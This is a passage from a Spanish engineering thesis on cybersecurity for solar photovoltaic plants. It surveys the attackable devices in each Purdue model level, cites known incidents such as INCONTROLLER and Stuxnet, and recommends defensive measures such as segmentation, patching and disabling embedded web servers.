Nivel 4/5 - Empresa: Corresponde a los sistemas y redes IT tal y como la conocemos
hoy en dia, donde se producen las funciones empresariales principales. Este es el
nivel que proporciona la direccion del negocio y orquesta las operaciones de
fabricacion. Los sistemas de planificacidn de recursos empresariales (ERP) dirigen
los programas de produccion de la planta, el uso de materiales, los envios y los
niveles de inventario. Cualquier interrupcion en este nivel puede llevar a dias o
incluso semanas de inactividad, creando pérdidas de ingresos con los procesos
posteriores retrasados o detenidos.

Posteriores mejoras afiadieron el denominado nivel 3.5 0 DMZ

Nivel 3.5 - Zona desmilitarizada (DMZ): Este nivel incluye sistemas de seguridad,
como cortafuegos y proxies, que se utilizan para separar los entornos IT de OT. Aqui
es donde los mundos IT y OT "convergen", aumentando enormemente la superficie
de ataque para los sistemas OT. Muchas plantas no tienen esta capa o tienen
capacidades muy limitadas. ElI aumento de la automatizacién ha creado una mayor
necesidad de flujos de datos bidireccionales entre los sistemas OT e IT.

Incluso con una arquitectura estructurada en distintos niveles, cualquier sistema puede
obtener datos de cualquier otro lugar de la planta. Aun asi, los sistemas no necesitan los
datos de todos los demas niveles. Por ejemplo, no se necesitan los datos de los sensores
directamente en el sistema ERP. Sera necesario estudiar que sistemas necesitan realmente

intercambiar datos y cuales no, para establecer un aislamiento entre ellos.

En la figura 22 se ven los niveles, areas (zonas grises) y conductos (zonas azules) que
posibilitan la interconexién entre las distintas areas y niveles. Obsérvese la presencia de

firewalls en los conductos como elemento de ciberseguridad entre OT e IT.
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Figura 22: Arquitectura mejorada del modelo Purdue (www.mdpi.com)

Con la comprensiéon de este modelo, vamos a dar otro paso importante estudiando los
equipos y dispositivos que pueden ser atacados en una planta solar fotovoltaica de

generacion de energia eléctrica.

3.5 ELEMENTOS Y DISPOSITIVOS SUSCEPTIBLES DE RECIBIR UN
CIBERATAQUE EN OT
En principio cualquier dispositivo que tenga un sistema operativo embebido y ejecute alguna

aplicacion podria recibir un ciberataque. Sin embargo, nos vamos a centrar en equipos que
estan conectados a la red de comunicaciones local de la planta solar. Ya que por los procesos
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que realizan, los efectos de una brecha de seguridad pueden ser mas dafiinos para la

operacion de la instalacion.

En el Capitulo 2. analizamos los elementos de la red de comunicaciones, los protocolos
utilizados y los dispositivos y sistemas que se interconectaban a la red. Fruto de este analisis

podemos elaborar una lista de equipos que pueden ser atacados:

1. Conmutadores LAN: Elementos clave para construir una infraestructura de
comunicaciones LAN.

2. Inversores (nivel 1 PERA): Elementos clave para la generacion de energia en una
planta solar fotovoltaica.

3. PLCs (nivel 1 PERA): Elementos clave para la automatizacion y control de estado
de los dispositivos no inteligentes de la planta (sondas, sensores, protecciones, etc.).

4. Power Plant Controller PPC (nivel 1 PERA): Elemento clave para la regulacion
de la potencia de la planta.

5. Servidores SCADA (nivel 2 PERA): Elementos criticos del centro de control y
operaciones locales y remotas.

6. Operadores del sistema SCADA (nivel 1 PERA): Factor humano, es el eslabon
mas débil de la cadena de seguridad.

7. String box (nivel 0 PERA): Pueden comunicarse via Wifi para evitar los mas
costosos sistemas de cableado

8. Router VPN (nivel 4/5 PERA): Elemento clave para la interconexion con la
supervision externa.

9. Otros equipos de ciberseguridad instalados (nivel 3,5 PERA): Todos los
dispositivos de ciberseguridad tienen un sistema operativo instalado, que puede tener
vulnerabilidades no conocidas, o las propias aplicaciones de seguridad son
susceptibles de recibir ciberataques. Sin embargo, su uso es de vital importancia para

asegurar una red OT.
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3.5.1 CONMUTADORES LAN

Los conmutadores LAN que se utilizan en OT, son funcionalmente equivalentes a los que se
instalan en el mundo IT, aunque con algunas capacidades y caracteristicas especiales del
mundo industrial. Los diferentes ciberataques que se realizan en entornos IT, por lo tanto,
pueden replicarse en OT.

Adicionalmente existen ataques especificos dirigidos a los protocolos de comunicaciones
propios del mundo ICS (Modbus, Modbus TCP, IEC 104, IEC 61850). [3]

Cabe destacar, que los efectos en conmutadores LAN industriales pueden ser mas dafiinos
en ambientes OT que en IT, esto es debido a que los requerimientos de fiabilidad y retardo

son mucho mas exigentes en los procesos de control industrial que en las instalaciones IT.

Para ver qué posibilidades de ciberseguridad ofrece un conmutador LAN, se ha seleccionado
un fabricante de gama alta, como es cisco, y elegido uno de sus conmutadores industriales

que tiene en su cartera de productos. Por ejemplo, el switch Industrial IE 4000 LAN Base.

Figura 23: Conmutador LAN de cisco IE 4000 (www.cisco,com)

En la tabla siguiente se visualizan las caracteristicas, agrupadas por funcionalidades, mas
importantes de dicho equipo. Se han eliminado algunas no relevantes para este TFG, por

motivos de espacio en la tabla.
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Security SCP, SSH, SNMPv3, TACACS+, RADIUS Server/Client, MAC Address Notification, BPDU
Guard, Port-Security, Private VLAN, DHCP Snooping, Dynamic ARP Inspection, IP Source
Guard, 802.1x, Guest VLAN, MAC Authentication Bypass, 802.1x Multi-Domain
Authentication, Storm Control, Trust Boundary, FIPS 140-2, ACT2, Secure boot, Full
flexible Netflow1

Management Fast Boot, Express setup, Web Device Manager, Industrial Network Director (IND), MIB,
Smartport, SNMP, syslog, storm control, unicast, multicast, broadcast, SPAN sessions,
RSPAN, DHCP server, customized DOM (digital optical management), Embedded Event
Manager (EEM),
Plug-n-Play Agent, Port-based DHCP

Industrial Ethernet CIP Ethernet/IP, Profinetv2, IEEE 1588 PTPv2, NTP to PTP translation, CIP Time Sync

Quality of service Ingress Policing, Rate-Limit, Egress Queueing/shaping, AutoQoS, QoS, PROFINET QoS
Redundancy Redundancy Ethernet Protocol ring (REP)
Parallel Redundancy Protocol (PRP)

Media Redundancy Protocol (MRP) ring, MRP Auto Manager (MAM)
High Availability Seamless Redundancy (HSR), PTP over HSR
HSR-PRP (Dual RedBox mode)
HSR-HSR (Quadbox)

Utility Power Profile 2011 and 2017, dying gasp, GOOSE messaging, SCADA protocol
classification, MODBUS TCP/IP, utility SmartPort macro, BFD, Ethernet OAM, I|EEE
802.3ah, CFM (IEEE 802.1ag)

Tabla 3: Funciones basicas del Conmutador LAN IE 4000 (www.cisco.com)

Los conmutadores LAN han sido y siguen siendo dispositivos de comunicaciones que se
pueden atacar facilmente, en el caso de que no se hayan habilitado correctamente las

opciones de ciberseguridad, que la mayoria de los equipos de gama media/alta implementan.

En nuestro ejemplo, vemos que cisco tiene toda una gama de soluciones para fortificar su
conmutador. De hecho, en la web del fabricante estan disponibles varios documentos y
articulos donde se explican detalladamente los diferentes tipos de ciberataques a los

conmutadores, asi como las soluciones disponibles. [4]

Lo mas importante, ademas de que el equipo disponga de contramedidas para ataques ya

conocidos, es su correcta configuracion. Para ello es imprescindible conocer en detalle qué

52



UNIVERSIDAD PONTIFICIA COMILLAS
ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)
COMILLAS GRADO EN INGENIERIA EN TECNOLOGIAS INDUSTRIALES

UNIVERSIDAD PONTIFICIA

L icar icape ] CRITERIOS DE CIBERSEGURIDAD

tipo de ciberataque evita cada una de las alternativas de las que dispone el conmutador. No
es viable activarlas todas, primero por lo complejo que seria el mantenimiento y gestion del

equipo, segundo por el consumo de recursos hardware y software que ello implica.

En el caso del conmutador IE 4000 LAN Base, podemos contar hasta 21 contramedidas de
seguridad posibles. Es decir, deberiamos conocer en profundidad que hace cada una, como
se configura correctamente, etc. En la practica, segun varios estudios sobre este aspecto, lo

normal es no hacer nada o casi nada, o peor aun, configurar mal el conmutador. [5]

Como ya vimos en el Modelo de Purdue: Enterprise Reference Architecture (PERA), es
importante la segmentacion de redes. En nuestro caso, separar los diferentes tipos de traficos
que circulan por la LAN de fibra, para formar diferentes areas. Esta segregacion de traficos
se puede hacer de dos maneras:

1. Aislamiento fisico de los diferentes traficos: Para ello desplegaremos multiples
anillos de fibra, y por cada anillo fisico enviaremos el trafico que corresponda a
cada grupo de dispositivos. Por ejemplo, un anillo para el trafico SCADA (area
scada), otro para el trafico de los seguidores solares (&rea trackers), el tercero para

el envio de camaras de seguridad (area camrec).

2. Mediante el uso de VLANSs (Redes Locales Virtuales): Como ya se explicé en el
Arquitectura y elementos de una planta solar fotovoltaica, la VLAN es una capacidad
de la que disponen los conmutadores LAN que permite generar diferentes LANs
virtuales sobre la misma infraestructura fisica. La seguridad en este caso es menor
que el aislamiento fisico, ya que existen ataques conocidos a las diferentes técnicas
de implementacion de VLANS, e incluso herramientas que permiten lanzar diferentes

ciberataques especificos contra las VLANS [6]

En conclusidn, es factible proteger los equipos industriales de comunicaciones de ataques

internos, mediante la creacion de distintas areas. Los ataques internos se producen cuando
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el hacker se puede interconectar a la red de comunicaciones de la planta, ya sea fisicamente
(atacante interno) o mediante el uso de un troyano (atacante externo). Para minimizar los
riesgos y evitar este peligroso tipo de ciberataques, deberemos conocer y analizar las

capacidades de ciberseguridad de los equipos utilizados y configurarlos adecuadamente.

También deberiamos deshabilitar los servicios no usados, por ejemplo, el servidor web
embebido que suelen llevar este tipo de equipos, ya que el nivel de seguridad de este tipo de

servicio suele ser bajo.
3.5.2 INVERSORES

Si buscamos en Google la siguiente frase “photovoltaic solar inverters ciberattaks” nos
aparecen mas de 1.5 millones de resultados. Es verdad que de las entradas que yo he podido
ver, la mayoria de los documentos, informes y articulos se refieren a inversores utilizados
en instalaciones de autoconsumo conectadas a Internet. No obstante, existen muchos
documentos que expresan su preocupacion por los posibles ataques a grandes plantas de
generacion de energia, de hecho, las primeras entradas de Google se refieren a estos

ciberataques [7].

Los inversores son los equipos clave para la generacion de energia en una planta solar
fotovoltaica. A nivel de su ciberseguridad, solo pueden ser atacados a través de los
protocolos de comunicaciones que utilizan, normalmente el Modbus o el Modbus TCP,
probablemente realizando un ataque de denegacion de servicio (DoS), lo que nos produciria

pérdidas econdmicas mientras se logre solventar dicho ataque.

De hecho, en 2017, en una presentacion en la conferencia de seguridad SHA2017, Willem
Westerhof, experto en ciberseguridad industrial, presento un escenario de un apagon en toda
Europa, el origen se basaba en un analisis de vulnerabilidades de inversores fotovoltaicos
del fabricante SMA, uno de los méas conocidos del sector. Debido al revuelo que esto causo
en Internet, el propio SMA tuvo que publicar varios documentos donde explicaba que esto
se referia a inversores desarrollados ochos afios atras. En el siguiente enlace se puede acceder
a un informe de SMA acerca de este incidente, con las respuestas de SMA a las citadas
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vulnerabilidades [8]. Este caso, relativamente reciente, ademas de mediatico, marca una
linea de estudios y analisis de posibles ataques a inversores de gran tamafio mediante varias
técnicas de ciberataques que utilizan medios indirectos (movimientos laterales) para

conseguir su objetivo.

ESQUEMA DE LA PLANTA

—_— CA
S—CC

= Comunicacién

RED PUBLICA

i

Figura 24: Esquema de planta y equipos relacionados (www.sma.de)

En la figura 24 observamos que el inversor recibe 6rdenes del PPC, y si este estuviese
comprometido, por ejemplo, a través de un troyano que haya entrado en un PC conectado a
la red interna de comunicaciones, se podria hacer que el inversor no trabajase a maximo

rendimiento, lo que implica una perdida en la produccion de energia de la planta.
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3.5.3 PLCs-PACs

PLC es el acrénimo de Programmable Logic Controller, mientras que PAC significa
Programmable Automation Controller. La mayor diferencia entre los PLC y los PAC reside
en la forma en que se programan. Los PAC se programan usando lenguajes graficos como
diagramas de flujo, los cuales son muy intuitivos y de facil comprension, ademéas de
lenguajes orientados a objetos como C y C++, lo que hace que sean mas adaptables y

eficientes

Un controlador programable (PLC - PAC), es un dispositivo hardware que controla a otros
equipos o procesos, en funcion de una ldgica de circuito cerrado preprogramada. La l6gica,
o el programa, se almacena dentro del hardware utilizando una memoria “flash” no volatil,
una memoria RAM respaldada por bateria 0 un chip especial. Es decir, el dispositivo puede
ejecutar la logica integrada por si mismo, sin la necesidad de un ordenador externo y un

sistema operativo como Windows o Linux.

Los procesos que los controladores programables realizan en una planta fotovoltaica son:

Recepcidn de datos de instrumentacion de campo: Como sondas de temperatura,
posicionamiento del colector, confirmaciones de marcha, etc.

e Calculo de la posicion solar segun algoritmos de alta resolucion.

e Gestion del movimiento del colector: Mediante el accionamiento, que puede ser
de tipo hidréaulico o con motores eléctricos, que permite rotar el sistema.

e Control del ventilador instalado en el armario para refrigerarlo cuando sea
necesario.

e Comunicaciones Ethernet: Para comunicacion con el sistema de control
aceptando configuraciones y érdenes de éste y enviandole toda la informacion de
estado del sistema.

e Comunicaciones con un panel de operador: Para el control y configuracion de
cada PLC de manera local.

e Gestion del proceso: Todas las CPUs de la instalacion solar tienen exactamente el
mismo programa, el cual contendra toda la l6gica necesaria para el proceso.
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Para el estudio de la ciberseguridad de estos elementos vamos a utilizar un PAC de le
compafiia Emerson, en concreto el modelo RX3i CPE330 Controller.

Figura 25: Emerson RX3i CPE330 Controller (www.emerson.com)

A continuacion, se adjunta su tabla de especificaciones.

® Memoria 64 MB

1/0 32k Bits Discrete 1/0, 32k Words for Analog I/O

Redundancy Media Redundancy (MRP), PROFINET System Redundancy (PNSR)

Support

Ethernet Ports 3x 10/100/1000 (2 puertos)

Redundancia REP (Redundancy Ethernet Protocol ring)
PRP (Parallel Redundancy Protocol)

MRP (Media Redundancy Protocol ring), MRP Auto Manager (MAM)
HSR (High Availability Seamless Redundancy), PTP over HSR
HSR-PRP (Dual RedBox mode)
HSR-HSR (Quadbox)

Protocolos Cliente/servidor SRTP, Modbus TCP/IP, Servidor OPC-UA, EGD, PROFINET, estacion
remota DNP3, cliente IEC-61850, servidor IEC-104, HART passthrough

Tabla 4: Especificaciones del Emerson RX3i CPE330 Controller. (www.emerson.com)

De dicha tabla vemos que este tipo de dispositivos permiten un gran numero de posibilidades
en lo que se refiere a sus comunicaciones, asi como la redundancia a nivel de interconexion
fisica (REP, PRP, etc.).
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Aunque nos pudiera parecer, debido a sus caracteristicas hardware (no es necesario un
sistema operativo, no es un ordenador como lo es un PC, etc.), que un ciberataque es
practicamente imposible, el propio fabricante Emerson dispone de un documento de
ciberseguridad en el que me llamo poderosamente la atencion la siguiente frase: “No importa
lo preparado que estes, ya que pueden ocurrir ataques o brechas de seguridad. Por lo
tanto, es importante no solo tratar de evitar que ocurran, sino también asegurarse de que,

si ocurren, el daiio sea el minimo posible.” [9]

Para comprobar que la afirmacion de Emerson era toda una profecia, a primeros del 2022,
la empresa Mandiant junto con Schneider Electric, analizando una familia de herramientas
de ciberataques a sistemas industriales, que llamaron INCONTROLLER, descubrieron
nuevas posibilidades de amenazas. [10]

Estos raros y muy dafiinos ciberataques, segun define la propia Mandiant, se materializan
mediante el uso combinado de tres distintos softwares. En la siguiente tabla se describen las

diferentes funcionalidades de cada familia de programas.

Tool Description

TAGRUN A tool that scans for OPC servers, enumerates OPC structure/tags, brute forces credentials, and

reads/writes OPC tag values.

CODECALL A framework that communicates using Modbus—one of the most common industrial
protocols—and Codesys. CODECALL contains modules to interact with, scan, and attack at least

three Schneider Electric programmable logic controllers (PLCs).

OMSHELL A framework with capabilities to interact with and scan some types of Omron PLCs via HTTP, Telnet,
and Omron FINS protocol. The tool can also interact with Omron's servo drives, which use feedback

control to deliver energy to motors for precision motion control.

Tabla 5: Herramientas de ciberataques a PLCs, INCONTROLLER (www.mandiant.com)
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INCONTROLLER utiliza comunicaciones Modbus TCP, HTTP o telnet para introducir

malware en varios tipos de PLCs de diferentes fabricantes.

En la figura siguiente, obtenida también de Mandiant se muestra, en el modelo de niveles de
Purdue, el esquema completo de dicha amenaza y desde donde ataca. En este caso el ataque
se produce desde el nivel de supervision y control, es decir SCADA (servidores y equipos
de los operadores). De nuevo nos puede parecer que esto resulta muy complejo y casi
imposible en instalaciones bien protegidas. Cuando veamos mas en detalle la ciberseguridad

de los sistemas SCADA, veremos que este tipo de ciberataques son posibles y que pueden

ser mas sencillos de lo que parece.

5

oT

Figura 26: INCONTROLLER y sus ciberamenazas en OT aplicando el modelo PERA (www.mandiant.com)
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Esto nos ensefia que la ciberseguridad es una cadena en la entran demasiados actores, que es
imposible controlar. Una intrusion o vulnerabilidad en un eslabon de la cadena de
ciberseguridad, nos puede afectar sin tener ninguna capacidad de detectarla y evitar la ciber-

amenaza.

3.5.4 POWER PLANT CONTROLLER (PPC)

El PPC es el corazdn de la planta solar fotovoltaica desde el punto de vista eléctrico. A partir
de la consigna recibida bien por parte del operador o del centro de control (MW, MVA, o lo
que se quieraregular) fija las condiciones de funcionamiento para cada uno de los inversores.

El PPC lee en tiempo real los parametros eléctricos del POI (Point Of Interconnection).
Normalmente el PPC se construye en un PLC 6 en un ordenador embebido/PC industrial.

En la siguiente tabla tenemos las especificaciones de un PPC de Gamesa que hace ademas
funciones de control de los sistemas de baterias de la planta BESS (Battery energy storage

system).

Para estudiar la ciberseguridad de un PPC vamos a utilizar uno de la empresa Gamesa que
hace ademas funciones de control de los sistemas de baterias de la planta BESS (Battery

energy storage system).

(¢
t'chﬂsba

Figura 27: Gamesa Electric Orchestra Power Plant Controller para PV y BESS (www.gamesa.com)
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A continuacion, se adjunta la tabla de especificaciones del PPC elegido.

Inverter Compatibility Gamesa Electric Proteus Series

Plant Configuration Photovoltaic / BESS Standalone / Hybrid PV + BESS

Communications:

Power Converters Modbus TCP

SCADA Modbus TCP

Grid Operator ~ Modbus TCP

Webserver Included

Gir metering Integrated Direct Analog Readings: 3 x CTs and 3 x VTs

Optional: Grid Analyzer

Tabla 6: Especificaciones PPC Gamesa Electric Orchestra (www.gamesa.com)

Desde el punto de vista de comunicaciones, su intercambio de informacion tanto con los
sistemas SCADA como con los inversores hace que el PPC necesite estar muy bien

protegido.

Paraelloy siguiendo el modelo PERA, deberéa estar en la misma area que los SCADA locales
de donde reciba informacién area y aislado mediante un firewall, junto con los equipos
SCADA y auxiliares. También es necesario comprobar, mediante un analizador de
vulnerabilidades, si tiene alguna sin parchear, sobre todo en los PPC basados en un

ordenador embebido/PC industrial.

En la de especificaciones vemos que tiene un webserver incluido, es muy aconsejable
deshabilitar este tipo de servicios, que resultan muy comodos de usar a los operadores de

planta y también a los potenciales hackers.

3.5.5 SERVIDORES SCADA

SCADA es un elemento clave de la infraestructura de una planta solar y por ello es un punto

critico y muy sensible de recibir ciberataques.
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Historicamente, la mayoria de los sistemas de control industrial, incluido SCADA, estaban
en redes separadas, no conectadas a Internet ni a ninguna otra red. Por desgracia, esta
seguridad a través de la segmentacion no protege completamente contra los ciberataques. En
realidad, las redes rara vez estan completamente aisladas. A menudo se instalan algunas
actualizaciones software o se transfieren archivos de registro a estos sistemas de control. Si
los sistemas no estan conectados directamente a la red, el método elegido para este tipo de
interacciones suele ser a través de una memoria USB o una conexion 3G no permanente, que
proporciona una via de acceso a las redes restringidas. Esto permite que el malware se
propague en esas redes aisladas. Un ejemplo de este tipo de ciberamenzas fue el programa
malicioso Stuxnet, del cual ya hemos hablado anteriormente, que se infiltré en gran variedad
de sistemas SCADA en 2010. [11]

Ademas, si las redes estan realmente segmentadas, esto significaria que no se instalarian
actualizaciones de software, dejando las antiguas vulnerabilidades, a no ser que instalemos
un sistema de actualizaciones en la propia planta. También hay problemas en torno a los
procesos. Por ejemplo, las listas de revocacion de los certificados digitales rara vez se
actualizan vy, por lo tanto, los certificados que ya no son validos no se pueden comprobar
adecuadamente y seguirian siendo aceptados. Por ello, aunque se crea que SCADA esta
aislado de lared y de Internet y por ello esta a salvo, es una sensacion de seguridad que nada

tiene que ver con la realidad.

La mayoria de los protocolos SCADA nunca fueron concebidos para su uso en redes de
acceso publico y, en algunos casos, ni siquiera en redes IP. Mobus y Modbus TCP,
protocolos tipicos para SCADA. Estos protocolos se disefiaron sin tener en cuenta la
ciberseguridad y para un uso en redes sencillas de control de procesos entre clientes y
servidores. No se ha afiadido ninguna proteccidn adicional para asegurar las comunicaciones
enviadas mediante estos protocolos. Para eliminar este problema tendriamos que cifrar y
autenticar estos protocolos, lo que puede o no puede ser posible, en funcion de los diferentes
productos de fabricantes que estemos utilizando.
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Por otro lado, el problema de SCADA es una de sus mayores virtudes: su gran capacidad es
conexion con distintos dispositivos. Puede Ilegar a ser dificil saber como estan configurados

todos los equipos que estan controlados por SCADA.

Hay componentes equipados con funciones y servicios que permiten a los proveedores y
operadores el acceso remoto a ellos. Estas interfaces aportan grandes ventajas a la hora de
controlar y monitorizar los dispositivos ya que permiten al personal actualizar y configurar
remotamente el software de estos elementos a través de Internet o de una conexion 3G. Estas
conexiones externas suelen ser consideradas seguras, pero puede no ser asi. Las contrasefias
por defecto son un fendmeno comdn en los dispositivos de campo. Algunas politicas
corporativas exigen que las contrasefias se cambien con una periodicidad mensual. Sin
embargo, esta medida de seguridad rara vez se aplica a los sistemas SCADA, debido a los
recursos necesarios para cambiar manualmente las contrasefias en cientos de dispositivos, y
el riesgo para la empresa si estos dispositivos se vuelvan inaccesibles. Ademas, no es
infrecuente que las que las interfaces supuestamente desconectadas estén en realidad
conectadas y accesibles de forma constante. Dado que estas interfaces suelen estar destinadas
al personal de soporte, el acceso a las mismas suele proporcionar privilegios que pueden
utilizarse para reconfigurar dispositivos, borrar configuraciones o eliminar la funcionalidad
de los equipos de proteccidn. Por lo tanto, las personas no autorizadas podrian comprometer
gravemente la funcionalidad de los dispositivos de campo y también influir en el

comportamiento de otras partes del sistema SCADA.

La gestion de los firewalls en SCADA es mas compleja de lo que parece. Como muchas
veces se aplican tecnologias prefabricada para plantas solares dentro del dominio del sistema
de control, el nimero de protocolos, puertos y servicios utilizados aumenta y a menudo
dificulta su seguimiento. Por lo tanto, del mismo modo que puede haber una falta de
informacidn sobre qué servicios deben estar activados para que los ordenadores funcionen,
suele faltar informacion sobre los parametros necesarios para configurar los firewalls

restrictivamente sin poner en peligro las operaciones
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Hay varios pasos importantes que deben tomarse para asegurar las redes SCADA:

v Parchear los sistemas operativos del host, las aplicaciones y los componentes
SCADA.

v Controlar las comunicaciones de las aplicaciones entre las redes SCADA y otras
redes.

v Controlar las comunicaciones de las aplicaciones dentro de las redes SCADA.

v Controlar qué y quién puede interactuar con las redes y sistemas SCADA.

v Supervisar todas las redes y reaccionar rapidamente ante los virus y ataques.

Lamentablemente, debido a su criticidad, no siempre es posible aplicar parches a los sistemas
SCADA en los plazos necesarios para evitar un ataque. La siguiente mejor solucion es
utilizar una estrategia de defensa en profundidad aplicando la seguridad de la capa de

aplicacion tanto en el host RTU como a nivel de red. Lo que se necesita es un sistema de

seguridad consolidado que ofrezca multiples mecanismos de deteccién, incluyendo:

v Firewalls con conocimiento del estado de las aplicaciones.

v Deteccion de antivirus.

v Control de aplicaciones.

v VPNs.

v Actualizaciones automaticas de las bases de datos de firmas de antivirus e IPS.

v Vulnerabilidade SCADA conocidas que estén incluidas en las bases de datos de
antivirus y detectores de intrusos IPS.

v Prevencion de anomalias en la red y de DoS.

v Proteccidn de las bases de datos.

3.5.6 OPERADORES DEL SISTEMA SCADA

Es el eslabdon méas débil de la cadena de ciberseguridad, susceptible de sufrir ataques de
ingenieria social, cometer errores por desconocimiento, malas préacticas, presién en

momentos de aparicion de problemas técnicos, etc.

Ademas, a primeros del 2022 ha aparecido un nuevo método de ataques a dispositivos
industriales que evitan incluso la proteccion de firma digital en médulos software que se
instalan en este tipo de equipos. En concreto el ataque se realiz6 robando la clave de firma

de cddigo de un conocido fabricante de drivers industriales (ASROCK), introduciendo un
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malware en el mismo y firmando este driver con la firma de ASROCK. Esto permitio la
introduccién de dicho malware evitando los sistemas méas seguros que comprueban la firma

digital en el proceso del arranque del equipo.

En 2022 se ha emitido un aviso en Estados Unidos por el Departamento de Energia (DOE),
CISA (Cybersecurity and Infrastructure Security Agency), la NSA (National Security
Agency) y el FBI (Federal Bureau of Investigation), anunciando el peligro que corren los
sistemas SCADA ante ciberamenzas [12]. En el documento se trata un ataque de amenaza
persistente 0 ATP (Advanced Persistent Threat). Es un tipo de malware disefiado para atacar
a una empresa o institucion con el fin de robar informacion y mantenerse oculto en el sistema

todo el tiempo que le sea posible, sin ser detectado.

3.5.7 STRING Box 0 CaAJAS DE CORRIENTE CONTINUA

Las cajas de corriente continua pueden comunicarse via Wifi para evitar los mas costosos
sistemas de cableado. El problema de Wifi es la utilizacién del espectro electromagnético
para transmitir los datos, para asegurar estas comunicaciones, los equipos Wifi pueden cifrar
los datos y autenticar las conexiones de los clientes que intentan conectarse al punto de

acceso Wifi.

Esta tecnologia IT es una de las més utilizadas y una de las que mas ataques recibe. Existen
miles de enlaces en Internet donde se muestra como atacar a sistemas Wifi, sobre todo en
instalaciones particulares. En las redes empresariales de IT se utiliza Wifi con soluciones
mas robustas y a la vez mas complejas, que usan técnicas criptograficas avanzadas y
servidores adicionales para autentificar a los usuarios. Para complicar ain mas esto, existen
diferentes estandares de como se implementan estas medidas de ciberseguridad. La inicial y
obsoleta WEP (rota hace ya mucho tiempo), su sucesora WPA2 con muchas vulnerabilidades
conocidas y el actual WPA3 que supuestamente arregla todos los problemas conocidos en
su antecesor WPAZ2.

En entornos IT empresariales se aconseja no utilizar la posibilidad de usar ni el WPA2 ni el

WPAZ3 con password precompartida. En un ambiente OT es mas que aconsejable utilizar

65



UNIVERSIDAD PONTIFICIA COMILLAS
ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)
COMILLAS GRADO EN INGENIERIA EN TECNOLOGIAS INDUSTRIALES

UNIVERSIDAD PONTIFICIA

L icar icape ] CRITERIOS DE CIBERSEGURIDAD

solo WPAZ3 y hacer un analisis riesgo/beneficio de utilizar un servidor de autenticacion. Otra
posibilidad es utilizar una VPN sobre Wifi para asegurar doblemente las comunicaciones
inalambricas. Si un hacker rompe la seguridad Wifi se encontraria con una VPN cifrada y

autenticada que tendria que volver a atacar.

3.5.8 ROUTER DE RED PRIVADA VIRTUAL (VPN)

El conducto de comunicaciones esencial que se utiliza para acceder de forma remota a los
sistemas de control es una red privada virtual. Una VPN agrega una capa de seguridad
(cifrado, autenticacion, privacidad) sobre un acceso a través de una red publica (Internet,
3G, Wifi, etc.) para protegerla del acceso publico.

e
@

O — [l >
e Bk

RTU

Figura 28: Ejemplo de aplicacién de una VPN (www. xacom.com)

Cuando se configura una VPN, se dice que se crea un tunel entre un equipo externo y un
equipo final de la VPN interno. Una VPN puede proporcionar autenticacion, cifrado e
integridad a los mensajes de informacion. Para crear una VPN se pueden utilizar diferentes
técnicas criptograficas para intercambiar las distintas claves que usaran los equipos. En
entornos IT es muy comun utilizar VPNs basadas en SSL (Secure Sockets Layer). EI SSL
también se utiliza para accesos remotos y en Internet para el envio seguro de paginas web

de los servidores. En SSL se cifra toda la informacion que va sobre el TCP.
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Algunos fabricantes ofrecen soluciones que incluye la conectividad a través de un servicio
de doble VPN en la nube consiguiente aumentar la seguridad. En la figura siguiente se ve la

arquitectura de este tipo de soluciones.
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Figura 29: Solucion de router industrial de Ewon Cosy con conectividad “Talk2M” (www.ewon.biz)

Obsérvese que se establecen dos VVPNs, una entre el equipo externo con los servidores VPN
alojados en la nube y desde alli la VPN que acaba en la instalacién industrial destino. Esta

arquitectura, permite un mayor control en el acceso y por lo tanto mejora la ciberseguridad.

Por otra parte, si analizamos las caracteristicas técnicas de un router VPN de OT, podremos
ver qué tipo de VPN ofrece, asi como el acceso al router para su mantenimiento y
configuracién. En este caso hemos elegido un router 3G/4G modelo SCALANCE M de la

empresa Siemens, con soporte VPN.
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Figura 30: Siemens SCALANCE M (www.siemens.com)

En la tabla siguiente se ven las caracteristicas de las tres gamas de este router VPN OT.

Model SCALANCE M876-4 SCALANCE M876-3 SCALANCE M874-3

Standard 4G 3G 3G
(LTE) (UMTS, CDMA2000) (UMTS)

Data rate Downlink: up to Downlink: 14.4 Mbps;  Downlink: 14.4 Mbps;
100 Mbps; Uplink: 5.76 Mbps ~ (HSPA+);  Uplink: 5.76 Mbps (HSPA+)
Uplink: up to 50 Mbps Forward link: 3.1 Mbps;

Antenna connectors

Degree of protection

Security

Engineering

Special characteristics

2 xSMA

IP20

Reverse link: 1.8 Mbps (EV-DO)

2 x SMA

VPN (IPsec / OpenVPN*) / Firewall

1xSMA

Command Line Interface (CLI), Web-based Management (WBM), MIB support, TRAPs via e-

mail

Redundant power supply; Network management via SNMP; SMS alarming; Connection to

SINEMA Remote Connect; NAT

Tabla 7: Tabla caracteristicas gama Siemens SCALANCE M (www.siemens.com)

Se puede ver el soporte de VPN tipo IPsec 0 OpenVVPN en esta gama de productos. IPsec es

un estandar IETF de Internet muy robusto y complejo, mientras que OpenVPN es una

herramienta basada en software libre que utiliza SSL. También podemos comprobar que el

router lleva incluidas las funcionalidades de un firewall.
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De nuevo vemos que el acceso a un servidor embebido en el equipo es una opcidn que suelen
incorporar la mayoria de los fabricantes, con independencia del tipo de equipo de
comunicaciones (conmutador, Wifi, router, etc.). Como ya se ha comentado varias veces en
este TFG, todos los organismos, agencias gubernamentales y empresas de ciberseguridad
recomiendan que se deshabiliten este tipo se servicios. La razon es sencilla, suelen
encontrarse constantemente vulnerabilidades de seguridad en estos servidores embebidos,

gue si no se parchean puede suponer una seria amenaza para toda la planta.

Las plantas solares fotovoltaicas estan situadas en el campo, a menudo alejadas de la
posibilidad de tener accesos mediante fibras Opticas u otros servicios de los proveedores de
acceso (Movistar, Orange, Vodafone, etc.). Se suelen utilizar conexiones 3G o conexiones
satelitales para interconectar la VPN con las instalaciones remotas del operador eléctrico que
quiere telecontrolar la planta solar. Este tipo de conexiones pueden ser atacadas mediante un
dron equipado con un equipamiento denominado “ISMI catcher” [13] que realiza lo que se
denomina un ataque de “hombre en medio”. En resumen, el ISMI se comporta como una
estacion base de telefonia 3G frente al router VPN y como un cliente frente a la estacion

base del operador de telefonia mévil.

En la figura siguiente se ve el funcionamiento 16gico de un sistema de “hombre en medio”
para interceptar conexiones 3G, en este caso es un dron de Skycam technologies equipado

con un ISMI catcher, camara, etc.
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Aerial IMSI Catcher

2G/ 3G / 4G + Range 250 mtr - 15 km

X8 + SkyGuard + GCS
Video Zoom + Thermal Camera + IMSI Catcher

Acts as a cellphone tower (BTS) and overtakes all
other mobile networks. Then collects international
mobile subscriber numbers (IMSI), electronic serial
numbers (ESN) and International Mobile Equipment
